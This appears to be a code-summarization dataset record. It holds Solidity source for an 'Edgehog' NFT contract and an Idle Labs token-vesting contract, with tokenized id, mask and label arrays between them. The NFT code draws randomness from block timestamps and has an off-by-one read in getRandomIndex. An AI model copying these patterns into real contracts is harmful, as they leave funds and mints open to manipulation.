"Joker",
"Vault Dweller",
"Santa",
"Torn Jeans",
"Fishnets",
"Bikini",
"Green",
"Pajamas",
"BDSM",
"Mime",
"Pink",
"Jungle",
"Rainbow",
"Elvis",
"Bathog",
"Partyhog",
"Skelly",
"Pure Gold"
];
//clothes
traitsByName[3] = [
"n/a",
"Pink",
"Joker",
"Vault Dweller",
"Padre",
"Santa",
"Freddy",
"Pierced Nips",
"Bikini",
"Punk",
"Pajamas",
"BDSM",
"Mime",
"Rapper",
"Buff",
"Rainbow",
"Elvis",
"Bathog",
"Partyhog",
"Skelly",
"Pure Gold"
];
//mouths
traitsByName[4] = [
"None",
"Plain",
"Smile",
"Drooling",
"Tongue",
"Pipe",
"Party",
"Love",
"Zombie",
"Rabid",
"Blush",
"Mime",
"Bubble gum",
"Blunt",
"Bloody",
"Licker",
"Vampire",
"Blotter",
"Virus",
"Red Beard",
"Golden tooth",
"TNT",
"Hannibal",
"Biohazard",
"Laser"
];
//headgears
traitsByName[5] = [
"n/a",
"None",
"Beanie",
"Fastfood",
"Apple",
"Frying pan",
"Tinfoil hat",
"Arrow",
"Punk",
"Rabbit ears",
"Doc",
"Pizza",
"Anntennae",
"Horny",
"Pretty bow",
"Eye",
"Devil",
"Skull",
"Toad",
"Unicorn",
"Kamikaze",
"Santa",
"Pirate",
"Alien eyes",
"Demon",
"Crown",
"Chief",
"Zombie hand",
"Fake halo",
"Brainz",
"Strawberry cap",
"Russian hat",
"Frankenhog",
"Plunger",
"Sroomhead",
"Octopus",
"Plague Doctor",
"VR"
];
//eyes
traitsByName[6] = [
"n/a",
"Plain",
"Sus",
"Green",
"Crosseyed",
"Angry",
"Kawaii",
"Tired",
"Grumpy",
"Red goggles",
"Green goggles",
"Bloodshot",
"Goomba",
"Eye patch",
"Squinty",
"Insane",
"Vampire",
"Pop out",
"Popeye",
"Dizzy",
"Triple eye",
"Hearts",
"XX",
"Alien",
"VR goggles",
"Cyclops",
"Rainbow goggles",
"Cyborg",
"Cyberhog",
"Demon",
"Hogminator",
"Steampunk",
"Deal with it",
"Lasers"
];
//accessories
traitsByName[7] = [
"n/a",
"None",
"Coffee",
"Sausage",
"Sorcerer staff",
"Mana potion",
"Bong",
"Pirate flag",
"Whip",
"Beer",
"Steel claws",
"Trident",
"Knife",
"Club",
"Balloon",
"Shocker",
"Biohazard",
"Lightsaber",
"Master Sword",
"Doggy",
"Rose",
"Gun",
"Pee",
"Chainsaw",
"Scythe",
"Dildo",
"Minigun"
];
traitsByName[8] = [
"n/a",
"Nude Dude",
"Dark Entity",
"Acid Hog",
"Zombie Hog",
"Hog Spirit",
"Lava Hog",
"Why So Serious",
"Robohog",
"Very Fast Blue Hog",
"Retrohog"
];
}
//Get the attribute name for the properties of the token by its index
function _getTrait(uint256 _trait, uint256 index)
internal
view
returns (string memory)
{
return traitsByName[_trait][index];
}
////////////////////////////////////////////////////////////
/////🦔GENERATE TRAITS AND SVG BASED ON SEED🦔/////////////
///////////////////////////////////////////////////////////
//Get randomized values for each different trait with a single pseudorandom seed
// note: we are generating both traits and SVG on the fly based on the seed which is the the only parameter saved in memory
// Not writing a whole struct allows for serious gas savings on mint, but has a downside that we can't easily address or change a single trait
function getTraits(uint256 seed)
public
view
returns (string memory svg, string memory properties)
{
uint16[] memory randomInputs = expand(seed, 8);
uint16[] memory traits = new uint16[](9);
/** traits[0] bg
traits[1] back
traits[2] bottom
traits[3] clothes
traits[4] mouth
traits[5] headgear
traits[6] eyes
traits[7] accessory
traits[8] legendary
*/
if (seed > 100) {
traits[0] = getRandomIndex(rarities[0], randomInputs[0]);
traits[1] = getRandomIndex(rarities[1], randomInputs[1]);
traits[2] = getRandomIndex(rarities[2], randomInputs[2]);
traits[3] = getRandomIndex(rarities[3], randomInputs[3]);
traits[4] = getRandomIndex(rarities[4], randomInputs[4]);
traits[5] = getRandomIndex(rarities[5], randomInputs[5]);
traits[6] = getRandomIndex(rarities[6], randomInputs[6]);
traits[7] = getRandomIndex(rarities[7], randomInputs[7]);
traits[8] = 0;
//handling compatibility exceptions
//tnt //hellhog
if (traits[1] == 19 || traits[1] == 22) {
traits[5] = 1;
}
//tnt
if (traits[4] == 21) {
traits[7] = 0;
}
//staff //scythe //plain
if (traits[7] == 4 || traits[7] == 24) {
traits[4] = 1;
}
//VR
if (traits[5] == 37) {
traits[6] = 1;
}
//Plague
if (traits[5] == 36) {
traits[6] = 1;
traits[4] = 0;
}
} else {
traits[0] = 0;
traits[1] = 0;
traits[2] = 0;
traits[3] = 0;
traits[4] = 0;
traits[5] = 0;
traits[6] = 0;
traits[7] = 0;
traits[8] = uint16(seed);
}
// render svg
bytes memory _svg = renderEdgehog(
traits[0],
traits[1],
traits[2],
traits[3],
traits[4],
traits[5],
traits[6],
traits[7],
traits[8]
);
svg = base64(_svg);
// pack properties, put 1 after the last property for JSON to be formed correctly (no comma after the last one)
if (seed > 100) {
bytes memory _properties = abi.encodePacked(
packMetaData("background", _getTrait(0, traits[0]), 0),
packMetaData("back", _getTrait(1, traits[1]), 0),
packMetaData("bottom", _getTrait(2, traits[2]), 0),
packMetaData("clothes", _getTrait(3, traits[3]), 0),
packMetaData("mouth", _getTrait(4, traits[4]), 0),
packMetaData("headgear", _getTrait(5, traits[5]), 0),
packMetaData("eyes", _getTrait(6, traits[6]), 0),
packMetaData("accessory", _getTrait(7, traits[7]), 1)
);
properties = string(abi.encodePacked(_properties));
} else {
bytes memory _properties = abi.encodePacked(
packMetaData("legendary", _getTrait(8, seed), 1)
);
properties = string(abi.encodePacked(_properties));
}
return (svg, properties);
}
// Get a random attribute using the rarities defined
// Shout out to Anonymice for the logic
function getRandomIndex(
uint16[] memory attributeRarities,
uint256 randomNumber
) private pure returns (uint16 index) {
uint16 random10k = uint16(randomNumber % 10000);
uint16 lowerBound;
for (uint16 i = 1; i <= attributeRarities.length; i++) {
uint16 percentage = attributeRarities[i];
if (random10k < percentage + lowerBound && random10k >= lowerBound) {
return i;
}
lowerBound = lowerBound + percentage;
}
revert();
}
//Get attribute svg for each different property of the token
function renderEdgehog(
uint16 _background,
uint16 _back,
uint16 _bottom,
uint16 _clothes,
uint16 _mouth,
uint16 _headgear,
uint16 _eyes,
uint16 _accessory,
uint16 _legendary
) public view returns (bytes memory) {
bytes memory start = abi.encodePacked(
svgStart,
descriptor.renderBackground(_background),
descriptor.renderBack(_back),
_body,
descriptor.renderBottom(_bottom)
);
return
abi.encodePacked(
start,
descriptor.renderClothes(_clothes),
_head,
descriptor.renderAccessory(_accessory),
descriptor.renderHeadgear(_headgear),
descriptor.renderEyes(_eyes),
descriptor.renderMouth(_mouth),
descriptor.renderLegendary(_legendary),
svgEnd
);
}
/////////////////////////////////////
/////🦔GENERATE METADATA🦔//////////
////////////////////////////////////
//Get the metadata for a token in base64 format
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "Token not found");
(string memory svg, string memory properties) = getTraits(
tokenSeed[tokenId]
);
return
string(
abi.encodePacked(
"data:application/json;base64,",
base64(
abi.encodePacked(
'{"name":"Edgehog #',
uint2str(tokenId),' ',_tokenName[tokenId],
'", "description": "Edgehogs live on the cutting edge of Ethereum blockchain and are edgy as hell.", "traits": [',
properties,
'], "image":"data:image/svg+xml;base64,',
svg,
'"}'
)
)
)
);
}
// Bundle metadata so it follows the standard
function packMetaData(
string memory name,
string memory svg,
uint256 last
) private pure returns (bytes memory) {
string memory comma = ",";
if (last > 0) comma = "";
return
abi.encodePacked(
'{"trait_type": "',
name,
'", "value": "',
svg,
'"}',
comma
);
}
/////////////////////////////////////
/////🦔MINTING🦔////////////////////
////////////////////////////////////
//giveaways are nice
function gift(uint256 numberOfTokens, address recipient) external onlyOwner {
uint256 supply = totalSupply();
require(supply + numberOfTokens <= MAX, "Would exceed max supply");
for (uint256 i = 0; i < numberOfTokens; i++) {
tokenSeed[supply + i] = uint256(
keccak256(abi.encodePacked(block.timestamp, msg.sender, supply + i))
);
}
delete supply;
_safeMint(recipient, numberOfTokens);
}
//mint Edgehog
function mint(uint256 numberOfTokens) external payable {
uint256 supply = totalSupply();
require(saleState == 1, "Sale inactive");
require(msg.sender != steveAoki, "No Steve Aoki!");
require(numberOfTokens <= PURCHASE_LIMIT, "Too many");
require(supply + numberOfTokens <= MAX - MAX_FREE + freeClaimed, "Would exceed max public supply");
require(PRICE * numberOfTokens == msg.value, "Wrong ETH amount");
for (uint256 i = 0; i < numberOfTokens; i++) {
tokenSeed[supply + i] = uint256(
keccak256(abi.encodePacked(block.timestamp, msg.sender, supply + i))
);
}
delete supply;
_safeMint(msg.sender, numberOfTokens);
}
//free mint, 1 per transaction, 1 per wallet, address must be whtelisted
function presaleMint(bytes32[] calldata proof_) external {
uint256 supply = totalSupply();
require(saleState == 1, "Sale inactive");
require(supply + 1 <= MAX, "Would exceed max supply");
require(isWhitelisted(msg.sender, proof_), "Not on the list");
require(whitelistMints[msg.sender] == 0, "Already minted");
freeClaimed++;
whitelistMints[msg.sender]++;
tokenSeed[supply] = uint256(
keccak256(abi.encodePacked(block.timestamp, msg.sender, supply))
);
delete supply;
_safeMint(msg.sender, 1);
}
//rerolls a common edgehog
function reroll(uint256 _tokenId) external payable {
require(saleState == 2, "Reroll inactive");
require(rerollsMade < MAX_REROLLS, "No more rerolls");
require(msg.sender == ownerOf(_tokenId), "Only owner can reroll");
require(!isLegendary(_tokenId), "Can't be rerolled");
require(REROLL_PRICE == msg.value, "Wrong ETH amount");
rerollsMade = rerollsMade + 1;
tokenSeed[_tokenId] = uint256(
keccak256(abi.encodePacked(block.timestamp, msg.sender, _tokenId + 1))
);
}
//puts a legendary edgehog in place of a common
function rollLegendary(uint256 _tokenId, uint256 _legendaryId) public onlyOwner {
//can only make regulars legendaries
require(!isLegendary(_tokenId), "Can't be upgraded");
tokenSeed[_tokenId] = _legendaryId;
addLegendaryNumber(_legendaryId);
}
//checks if an edgehog is legendary
function isLegendary(uint256 _tokenId) public view returns (bool) {
if (tokenSeed[_tokenId] <=100) {
return true;
} else {
return false;
}
}
//set legendaries
function setLegendaries(uint256 _legendarySeed) public onlyOwner {
require(legendariesSet == false, "Legendaries already set");
uint256 s = totalSupply();
uint256 n = _legendarySeed;
for (uint256 i = 1; i <= 10; i++) {
uint256 randomNumber = uint256(keccak256(abi.encodePacked(block.timestamp,msg.sender,n))) % s;
if (!isLegendary(randomNumber)) {
tokenSeed[randomNumber] = i;
addLegendaryNumber(randomNumber);
n = n * 6;
}
}
delete s;
delete n;
legendariesSet = true;
}
/////////////////////////////////////
/////🦔RENAMING🦔///////////////////
////////////////////////////////////
// Shout out to Hashmasks
//Changes the name for Edgehog tokenId
function changeName(uint256 tokenId, string memory newName) public {
address owner = ownerOf(tokenId);
require(_msgSender() == owner, "ERC721: caller is not the owner");
require(validateName(newName) == true, "Not a valid new name");
require(sha256(bytes(newName)) != sha256(bytes(_tokenName[tokenId])), "New name is same as the current one");
require(isNameReserved(newName) == false, "Name already reserved");
// If already named, dereserve old name
if (bytes(_tokenName[tokenId]).length > 0) {
toggleReserveName(_tokenName[tokenId], false);
}
toggleReserveName(newName, true);
_tokenName[tokenId] = newName;
emit NameChange(tokenId, newName);
}
// Events
event NameChange (uint256 indexed edgehogId, string newName);
//Returns name of the NFT at index.
function tokenNameByIndex(uint256 index) public view returns (string memory) {
return _tokenName[index];
}
//Returns if the name has been reserved.
function isNameReserved(string memory nameString) public view returns (bool) {
return _nameReserved[toLower(nameString)];
}
//Reserves the name if isReserve is set to true, de-reserves if set to false
function toggleReserveName(string memory str, bool isReserve) internal {
_nameReserved[toLower(str)] = isReserve;
}
//Check if the name string is valid (Alphanumeric and spaces without leading or trailing space)
function validateName(string memory str) public pure returns (bool){
bytes memory b = bytes(str);
if(b.length < 1) return false;
if(b.length > 25) return false; // Cannot be longer than 25 characters
if(b[0] == 0x20) return false; // Leading space
if (b[b.length - 1] == 0x20) return false; // Trailing space
bytes1 lastChar = b[0];
for(uint i; i<b.length; i++){
bytes1 char = b[i];
if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces
if(
!(char >= 0x30 && char <= 0x39) && //9-0
!(char >= 0x41 && char <= 0x5A) && //A-Z
!(char >= 0x61 && char <= 0x7A) && //a-z
!(char == 0x20) //space
)
return false;
lastChar = char;
}
return true;
}
//Converts the string to lowercase
function toLower(string memory str) public pure returns (string memory){
bytes memory bStr = bytes(str);
bytes memory bLower = new bytes(bStr.length);
for (uint i = 0; i < bStr.length; i++) {
// Uppercase character
if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) {
bLower[i] = bytes1(uint8(bStr[i]) + 32);
} else {
bLower[i] = bStr[i];
}
}
return string(bLower);
}
///////////////////////////////////
/////🦔ADMIN🦔////////////////////
//////////////////////////////////
//Gets the token pre-approved for trading on OpenSea - saves gas for the end users
function setOpenSeaProxyRegistry(OpenSeaProxyRegistry openSeaProxyRegistry_)
external
onlyOwner
{
openSeaProxyRegistry = openSeaProxyRegistry_;
}
function flipOpenSeaApproved() external onlyOwner {
isOpenSeaApproved = !isOpenSeaApproved;
}
function flipSaleState() external onlyOwner {
require(saleState < 3, "Sale state is already closed");
saleState++;
}
function setMaxSupply(uint256 _supply) public onlyOwner {
MAX = _supply;
}
function setFreeSupply(uint256 _supply) public onlyOwner {
MAX_FREE = _supply;
}
function setPrice(uint256 _newPrice) external onlyOwner {
PRICE = _newPrice;
}
// Withdraw to the team according to shares
function withdrawAll() public payable onlyOwner {
uint256 _share = address(this).balance / 100;
require(payable(t1).send(_share * 90));
require(payable(t2).send(_share * 10));
}
///////////////////////////////////
/////🦔HELPERS🦔//////////////////
//////////////////////////////////
function isApprovedForAll(address _owner, address operator)
public
view
override
returns (bool)
{
return
(isOpenSeaApproved &&
address(openSeaProxyRegistry.proxies(_owner)) == operator) ||
super.isApprovedForAll(_owner, operator);
}
// Check if the address is whitelisted
function isWhitelisted(address account_, bytes32[] calldata proof_)
public
view
returns (bool)
{
return _verify(_leaf(account_), proof_);
}
// Set Merckle root
function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
_merkleRoot = merkleRoot_;
}
// Encode Merckle leaf from address
function _leaf(address account_) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(account_));
}
// verify proof
function _verify(bytes32 leaf_, bytes32[] memory proof_)
internal
view
returns (bool)
{
return MerkleProof.verify(proof_, _merkleRoot, leaf_);
}
///set attributes libraries
function setDescriptor(address source) external onlyOwner {
descriptor = InterfaceDescriptor(source);
}
//generates random numbers based on a random number
function expand(uint256 _randomNumber, uint256 n)
private
pure
returns (uint16[] memory expandedValues)
{
expandedValues = new uint16[](n);
for (uint256 i = 0; i < n; i++) {
expandedValues[i] = bytes2uint(keccak256(abi.encode(_randomNumber, i)));
}
return expandedValues;
}
//converts uint256 to uint16
function bytes2uint(bytes32 _a) private pure returns (uint16) {
return uint16(uint256(_a));
}
function freeClaimedCount() external view returns (uint256) {
return freeClaimed;
}
function rerollsMadeCount() external view returns (uint256) {
return rerollsMade;
}
//adds a legendary edgehog's id to the list of legendaties
function addLegendaryNumber(uint256 _legendaryId) public onlyOwner {
legendaryList.push(_legendaryId);
}
//returns ids of legendary edgehogs
function legendariesList() external view returns (uint256[] memory) {
return legendaryList;
}
//adds a new name to the legendaries array
function addNewLegendary(string memory _legendaryName) public onlyOwner {
traitsByName[8].push(_legendaryName);
}
//returns number of tokens owned
function tokensOfOwner(address address_) public virtual view returns (uint256[] memory) {
uint256 _balance = balanceOf(address_);
uint256[] memory _tokens = new uint256[] (_balance);
uint256 _index;
uint256 _loopThrough = totalSupply();
for (uint256 i = 0; i < _loopThrough; i++) {
bool _exists = _exists(i);
if (_exists) {
if (ownerOf(i) == address_) { _tokens[_index] = i; _index++; }
}
else if (!_exists && _tokens[_balance - 1] == 0) { _loopThrough++; }
}
return _tokens;
}
//Helper function to convert uint to string
function uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
// Base64 by Brecht Devos - <[email protected]>
// Provides a function for encoding some bytes in base64
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function base64(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
//if you are reading this, you are a true blockchain nerd. Much love - @spiridono! 🦔
} | generates random numbers based on a random number | function expand(uint256 _randomNumber, uint256 n)
private
pure
returns (uint16[] memory expandedValues)
{
expandedValues = new uint16[](n);
for (uint256 i = 0; i < n; i++) {
expandedValues[i] = bytes2uint(keccak256(abi.encode(_randomNumber, i)));
}
return expandedValues;
}
| 13,972,415 | [
1,
3441,
815,
2744,
5600,
2511,
603,
279,
2744,
1300,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
4542,
12,
11890,
5034,
389,
9188,
1854,
16,
2254,
5034,
290,
13,
203,
565,
3238,
203,
565,
16618,
203,
565,
1135,
261,
11890,
2313,
8526,
3778,
8406,
1972,
13,
203,
225,
288,
203,
565,
8406,
1972,
273,
394,
2254,
2313,
8526,
12,
82,
1769,
203,
565,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
290,
31,
277,
27245,
288,
203,
1377,
8406,
1972,
63,
77,
65,
273,
1731,
22,
11890,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
24899,
9188,
1854,
16,
277,
3719,
1769,
203,
565,
289,
203,
565,
327,
8406,
1972,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
* @title: B2B Program Vester Contract
* @summary:
* @author: Idle Labs Inc., idle.finance
*/
pragma solidity 0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Vester {
using SafeERC20 for IERC20;
address private _owner;
bool public initialized;
address public idle;
address public recipient;
uint256 public vestingPeriod; // Expressed in seconds
uint256 public claimIndex; // Useful to skip claimed deposits
uint256 public totalClaimed; // Debug purposes
uint256 public totalDeposited; // Debug purposes
uint256 public lastUpdate; // Last claim timestamp
uint[] public depositTimestamps; // Deposit timestamps array
uint256[] public depositAmounts; // Deposit amounts array
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
function initialize (
address owner_,
address idle_,
address recipient_,
uint256 vestingPeriod_
) external {
require(!initialized, "Already initialized");
require(idle_ != address(0), 'B2BVester::constructor: invalid Idle address');
require(owner_ != address(0), 'B2BVester::constructor: invalid Owner address');
require(recipient_ != address(0), 'B2BVester::constructor: invalid recipient address');
// Set idle address
idle = idle_;
_owner = owner_;
recipient = recipient_;
lastUpdate = block.timestamp;
vestingPeriod = vestingPeriod_;
// Set as inizialized
initialized = true;
}
function setRecipient(address recipient_) external {
require(recipient_ != address(0), 'B2BVester::setRecipient: invalid');
require(msg.sender == recipient, 'B2BVester::setRecipient: unauthorized');
recipient = recipient_;
}
function claim() external {
require(depositTimestamps.length > 0, 'B2BVester::claim: no deposits yet');
require(claimIndex < depositTimestamps.length, 'B2BVester::claim: nothing to withdraw');
uint256 amount = 0;
uint256 _claimIndex = 0;
for (uint256 i = claimIndex; i < depositTimestamps.length; i++) {
uint256 vestingStart = depositTimestamps[i];
uint256 vestingEnd = vestingStart+vestingPeriod;
// If lastUpdate >= vestingEnd the deposit has already been totally claimed
if (lastUpdate < vestingEnd) {
uint256 _lastUpdate = lastUpdate;
if (_lastUpdate < vestingStart) {
_lastUpdate = vestingStart;
}
uint256 blockTime = block.timestamp;
if (blockTime > vestingEnd) {
blockTime = vestingEnd;
}
uint256 vestedAmount = depositAmounts[i]*(blockTime - _lastUpdate)/vestingPeriod;
amount = amount+vestedAmount;
// Increase claimIndex to skip claimed deposits
if (blockTime >= vestingEnd){
_claimIndex = i+1;
}
// Increase claimIndex to skip claimed deposits
} else {
_claimIndex = i+1;
}
}
IERC20(idle).safeTransfer(recipient, amount);
claimIndex = _claimIndex;
lastUpdate = block.timestamp;
totalClaimed = totalClaimed+amount;
}
function deposit(uint256 _amount) external onlyOwner returns (uint256) {
IERC20(idle).transferFrom(msg.sender, address(this), _amount);
// Initialize lastUpdate
if (depositTimestamps.length == 0) {
lastUpdate = block.timestamp;
}
depositAmounts.push(_amount);
depositTimestamps.push(block.timestamp);
totalDeposited = totalDeposited+_amount;
return totalDeposited;
}
function emergencyWithdrawal(address to, uint256 amount) external onlyOwner {
require(to != address(0), 'B2BVester::emergencyWithdrawal: invalid address');
IERC20(idle).safeTransfer(to, amount);
}
function owner() external view virtual returns (address) {
return _owner;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IIdle {
function balanceOf(address account) external view returns (uint);
function transfer(address dst, uint256 rawAmount) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
